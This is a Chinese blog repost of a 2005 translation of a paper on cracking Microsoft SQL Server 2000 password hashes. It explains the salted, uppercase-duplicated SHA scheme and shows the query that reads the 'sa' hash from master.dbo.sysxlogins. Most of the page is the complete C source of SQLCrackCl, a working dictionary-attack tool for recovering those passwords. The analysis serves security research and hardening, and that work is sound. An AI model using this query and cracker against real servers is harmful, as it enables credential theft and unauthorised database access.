zoukankan      html  css  js  c++  java
  • 破解MSSQL的HASH密码

    破解MSSQL的HASH密码

     
    原文名称 :Microsoft SQL Server Passwords (Cracking the password hashes) 
    原文地址 :http://www.ngssoftware.com/papers/cracking-sql-passwords.pdf 
    作者 :David Litchfield <david@ngssoftware.com> 
     
    Term   : FreeXploiT  
     
    Author : ALLyeSNO 
     
    Date   : 2005-3-25 
    翻译:ALLyeSNO <shellget@hotmail.com> http://blog.csdn.net/freexploit 
    参考文章:flashsky《浅谈SQL SERVER数据库口令的脆弱性》
     
     
    SQL服务器是怎样储存密码的? 
     
    SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。通过研究我们可以发 
     
    现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。 
     
    pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql 
     
    服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后 
     
    文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes) 
     
    SQL的密码hash看起来是怎样的呢? 
     
    我们使用查询分析器,或者任何一个SQL客户端来执行这条语句: 
     
    select password from master.dbo.sysxlogins where name='sa' 
     
    屏幕会返回类似下面这行字符串的东东。 
      
    0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF40
    57056D9B  
     
    这是我机子上登录密码的hash。 
      
    通过分析hash我们可以从中获取pwdencrypt()的一些什么信息? 
     
    1.时间 
     
    首先我们使用查询 select pwdencrypt() 来生成hash 
     
    select pwdencrypt('ph4nt0m')


    生成hash 
     
    0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279B
    A19EFE77 
     
    ok再一次 select pwdencrypt('ph4nt0m') 
     
    0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3D
    BB106CFB 
     
    我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。 
     
    那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用, 
     
    它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式, 
     
    是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。 
     
    2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它 
     
    都能弄出来) 
     
    使用查询 
     
    select pwdencrypt('ALLYESNO') 
     
    我们将得到hash 
     
    0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
    771E4C91 
     
    通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来
    看。 
     
    0x0100(固定) 
    4C61CD2D(补充key) 
    D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) 
    D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash) 
     
    现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两 
     
    次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破 
     
    解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字 
     
    符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破 
     
    解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经


    提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和 
     
    符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密 
     
    以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky 
     
    文章中一个小小的bug) 
     
      
    补充key  
     
    根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密 
     
    码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储 
     
    存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。 
     
    上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。 
     
    这个key 4C61CD2D 由以下阐述的方法生成。 
     
    time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子 
     
    并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。然后sql 
     
    服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1。这个过程将会再运行一次并 
     
    生成另一个key我们叫他key2。两个key连在一起就生成了我们用来加密密码的补充key。 
     
    密码的散列法  
      
    用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示: 
     
    {'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D} 
     
    以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生 
     
    成两个hash 
     
    0x0100(固定) 
    4C61CD2D(补充key) 
    D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) 
    D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash) 
     
    验证过程 
     
    用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例 
     

    子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加 
     
    密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。 
      
    SQL服务器密码破解 
     
    我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行 
     
    破解,这比猜测小写字母要来得容易。 
     
    一个命令行的MSSQL服务器HASH破解工具源代码 


    ///////////////////////////////////////////////////////////////////////////////// 
    // 
    // SQLCrackCl 
    // 
    // This will perform a dictionary attack against the 
    // upper-cased hash for a password. Once this 
    // has been discovered try all case variant to work 
    // out the case sensitive password. 
    // 
    // This code was written by David Litchfield to 
    // demonstrate how Microsoft SQL Server 2000 
    // passwords can be attacked. This can be 
    //  optimized considerably by not using the CryptoAPI. 
    // 
    // (Compile with VC++ and link with advapi32.lib 
    //  Ensure the Platform SDK has been installed, too!) 
    // 
    ////////////////////////////////////////////////////////////////////////////////// 

    #include <stdio.h> 
    #include <windows.h> 
    #include <wincrypt.h> 

    FILE *fd=NULL; 
    char *lerr = " Length Error! "; 

    int wd=0; 
    int OpenPasswordFile(char *pwdfile); 
    int CrackPassword(char *hash); 

    int main(int argc, char *argv[]) 

               int err = 0; 

               if(argc !=3) 
                         { 
                                   printf(" *** SQLCrack  *** "); 
                                   printf("C:>%s hash passwd-file ",argv[0]); 
                                   printf("David Litchfield (david@ngssoftware.com) "); 
                                   printf("24th June 2002 "); 
                                   return 0; 
                         } 

               err = OpenPasswordFile(argv[2]); 
               if(err !=0) 
               { 
                 return printf(" There was an error opening the password file %s ",argv[2]); 
               } 
               err = CrackPassword(argv[1]); 

               fclose(fd); 
               printf(" %d",wd); 

               return 0; 


    int OpenPasswordFile(char *pwdfile) 

              fd = fopen(pwdfile,"r"); 
               if(fd) 
                         return 0; 
               else 
                         return 1; 


    int CrackPassword(char *hash) 


               char phash[100]=""; 
               char pheader[8]=""; 
               char pkey[12]=""; 
               char pnorm[44]=""; 
               char pucase[44]=""; 
               char pucfirst[8]=""; 
               char wttf[44]=""; 
               char uwttf[100]=""; 
               char *wp=NULL; 
               char *ptr=NULL; 
               int cnt = 0; 
               int count = 0; 
               unsigned int key=0; 
               unsigned int t=0; 
               unsigned int address = 0; 
               unsigned char cmp=0; 
               unsigned char x=0; 
               HCRYPTPROV hProv=0; 
               HCRYPTHASH hHash; 
               DWORD hl=100; 
              unsigned char szhash[100]=""; 
               int len=0; 

               if(strlen(hash) !=94) 
                        { 
                                  return printf(" The password hash is too short! "); 
                        } 

              if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) 
                        { 
                                  hash = hash + 2; 
                                  strncpy(pheader,hash,4); 
                                  printf(" Header : %s",pheader); 
                                  if(strlen(pheader)!=4) 
                                            return printf("%s",lerr); 

                                  hash = hash + 4; 
                                  strncpy(pkey,hash,8); 
                                  printf(" Rand key : %s",pkey); 
                                  if(strlen(pkey)!=8) 
                                            return printf("%s",lerr); 

                                  hash = hash + 8; 
                                  strncpy(pnorm,hash,40); 
                                  printf(" Normal : %s",pnorm); 
                                  if(strlen(pnorm)!=40) 
                                            return printf("%s",lerr); 

                                  hash = hash + 40; 
                                  strncpy(pucase,hash,40); 
                                  printf(" Upper Case : %s",pucase); 
                                  if(strlen(pucase)!=40) 
                                            return printf("%s",lerr); 

                                  strncpy(pucfirst,pucase,2); 

                                  sscanf(pucfirst,"%x",&cmp); 
                        } 
               else 
                        { 
                                  return printf("The password hash has an invalid format! "); 
                        } 

               printf("         Trying... "); 

               if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                               ,0)) 
               { 
                        if(GetLastError()==NTE_BAD_KEYSET) 
                                  { 
                                            // KeySet does not exist. So create a new keyset 
                                            if(!CryptAcquireContext(&hProv, 

                                                                         NULL, 
                                                                           NULL, 
                                                                           PROV_RSA_FULL, 
                                                                           CRYPT_NEWKEYSET )) 
                                                       { 
                                                                 printf("FAILLLLLLL!!!"); 
                                                                 return FALSE; 
                                                       } 

                                  } 

               } 

               while(1) 
                        { 

                                  // get a word to try from the file 
                                  ZeroMemory(wttf,44); 

                                  if(!fgets(wttf,40,fd)) 
                                     return printf(" End of password file. Didn't find the password. "); 

                                  wd++; 

                                  len = strlen(wttf); 
                                  wttf[len-1]=0x00; 

                                  ZeroMemory(uwttf,84); 

                                  // Convert the word to UNICODE 
                                  while(count < len) 
                                             { 
                                                       uwttf[cnt]=wttf[count]; 
                                                       cnt++; 
                                                       uwttf[cnt]=0x00; 
                                                       count++; 
                                                       cnt++; 
                                             } 
                                  len --; 

                                  wp = &uwttf; 
                                  sscanf(pkey,"%x",&key); 
                                   cnt = cnt - 2; 

                                  // Append the random stuff to the end of 
                                  // the uppercase unicode password 
                                  t = key >> 24; 
                                  x = (unsigned char) t; 

                                  uwttf[cnt]=x; 
                                  cnt++; 

                                  t = key << 8; 
                                  t = t >> 24; 
                                   x = (unsigned char) t; 
                                   uwttf[cnt]=x; 
                                   cnt++; 

                                   t = key << 16; 
                                   t = t >> 24; 
                                   x = (unsigned char) t; 

                                   uwttf[cnt]=x; 
                                   cnt++; 

                                   t = key << 24; 
                                   t = t >> 24; 
                                   x = (unsigned char) t; 
                                   uwttf[cnt]=x; 
                                   cnt++; 

                        // Create the hash 

                        if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) 
                                   { 
                                             printf("Error %x during CryptCreatHash! ", GetLastError()); 
                                             return 0; 
                                   } 

                        if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) 
                                   { 
                                             printf("Error %x during CryptHashData! ", GetLastError()); 
                                             return FALSE; 
                                   } 

                        CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); 

                        // Test the first byte only. Much quicker. 
                        if(szhash[0] == cmp) 
                                   { 
                                             // If first byte matches try the rest 
                                             ptr = pucase; 
                                             cnt = 1; 
                                             while(cnt < 20) 
                                             { 
                                                       ptr = ptr + 2; 
                                                       strncpy(pucfirst,ptr,2); 
                                                       sscanf(pucfirst,"%x",&cmp); 
                                                       if(szhash[cnt]==cmp) 
                                                                 cnt ++; 
                                                       else 
                                                       { 
                                                                 break; 
                                                       } 
                                             } 
                                             if(cnt == 20) 
                                             { 

                                                       // We've found the password 
                                                       printf(" A MATCH!!! Password is %s ",wttf); 
                                                       return 0; 

                                            } 
                                  } 

                                  count = 0; 
                                  cnt=0; 

                        } 

               return 0; 
    }

  • 相关阅读:
    「仰望天空和脚踏实地」​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​写出我心(一百四十八)
    Backtrader中文笔记之Analyzers(二次修复)
    Backtrader中文笔记之Tick Data and Resampling
    NumPy学习记录
    mac通过ln创建软连接使用。
    mac电脑Pycharm的书签设置。
    matplotlib学习记录.
    Backtrader中文笔记之Pandas DataFeed Example
    Backtrader中文笔记之Using Indicators(指标)
    chmod
  • 原文地址:https://www.cnblogs.com/ye1031/p/4491578.html
Copyright © 2011-2022 走看看